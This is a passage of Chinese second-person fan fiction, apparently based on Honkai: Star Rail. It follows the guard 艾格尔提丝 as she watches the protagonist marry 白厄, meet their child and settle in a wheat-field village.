几年过去,艾格尔提丝明面上是清洗者,实则成了你最忠诚的护卫。 她希望这次的任务永远、永远不要结束。 只是某一天,艾格尔提丝看到你脖子上有一块暧昧的红痕,一颗心忽然平静下来。 或许此生能守护的人,从来都不是她。 凯妮斯单独找她谈了话,言语诱惑了半天没有效果,最后一句却犹如平地炸弹。 “帮我制服她就好。不用杀。事后,人归你,钱给你,你带着她远走高飞就行。” 艾格尔提丝捏紧了拳头,半晌没有说话。 07. 你将清洗者的领导权交给了她。 回收火种,在黑潮入侵时保护奥赫玛的公民,艾格尔提丝带领的清洗者与整个元老院配合的十分完美,翁法罗斯迎来了期待的明天。 你与白厄拥抱在一起,高大的男人搂着你大哭大笑,她由衷害怕他成为翁法罗斯历史上第一个精神不太正常的救世主。 看了许久,艾格尔提丝才意识到她刚刚似乎在笑。 随即承认了,是的,看到你们能幸福在一起,她很高兴。 08. 你与白厄结婚的那天只通知了寥寥数人,只有十多名黄金裔和元老院一些关系密切的下属见证了你们喜结连理。 至于这个新世界里白厄的父母,听救世主说数据不全什么的,需要时间,她并不是很理解。 虽然人很少,气氛却十分热闹。高大的男人被灌多了酒,脸红着傻呵呵直笑,与周围人大谈特谈你们的爱情故事。 艾格尔提丝静静听着有关你们的一切,由衷为你感到幸福。 救世主虽喝多了酒大着舌头,但笑盈盈看向你的眼神,仿佛世间唯有彼此。 那天周围人起哄要白厄对你说些什么肉麻的爱情宣言,他几乎没有思考就抱住了你。 声音很小,却很坚定,能让身边所有人听的一清二楚。 他说,感谢你允许我成为你的家人,陪你走这一生。 09. 艾格尔提丝总以为以后可能再没机会与你有什么交集,直到你带来一只小团子与她见面。 白发蓝瞳的小宝睁着好奇的双眼望着她,忽然张开双臂要她抱抱,艾格尔提丝几乎要怔在原地。 她夺取过无辜人的生命,却依然有生命愿意对她露出毫无保留的信任。 “……我可以么?” “艾格尔提丝,试试看吧。”你笑着,“感受生命,才会敬畏生命。” 软的像棉花糖一样的小身体被她抱在怀中,小宝看着她,高兴的拍起手笑起来。 艾格尔提丝那双总是灰蒙蒙的双眼里,忽然落下了两行泪来。 10.(你的视角) “那么,一路上请注意安全。” 告别了众多黄金裔与前来相送的下属,你与白厄挥挥手,带着小宝离开了奥赫玛。 一家三口一路走走停停,看了许多曾经没有看过的风景,最终回到了哀丽秘榭,那个有一望无际的金黄麦浪的地方。 远离尘世,远离喧嚣,此生惟愿家人安康。 “爸爸,妈妈,我们还有多久才到呀。” “嗯,快到咯。小宝看到前面的屋檐了么?爷爷奶奶和大白就住在那里哦。”白厄笑眯眯地看着小宝,你瞪了他一眼:“你这样说,小宝能看到什么?” “对哦!爸爸,我那么矮,什么也看不到呀!” “爸爸错啦,来!”白厄一把举起小宝,让他坐在自己的肩膀上。小宝的双眼瞬间明亮如星:“哇!好多好多金子!” “哈哈哈哈哈哈哈!那是麦田!” 白厄的笑声飘荡在半空,你望着父子如出一辙的笑脸,眉眼里都是幸福。 小宝摘下头顶的绿叶,递给了你:“哎呀,还有一段距离!妈妈,你再给我说一遍救世主的童话故事吧!” 白厄与你对视,他伸出手紧紧牵住了你,三人不紧不慢地朝远处的村庄走去,你柔和的嗓音在辽阔无垠的麦田上方飘荡。 “从前,小村庄的男孩梦想变成救世主,于是他独自离开家乡,来到奥赫玛……” “在这里,男孩遇到了许久志同道合的伙伴,也遇到了一个与他相同,怀有理想的女孩……”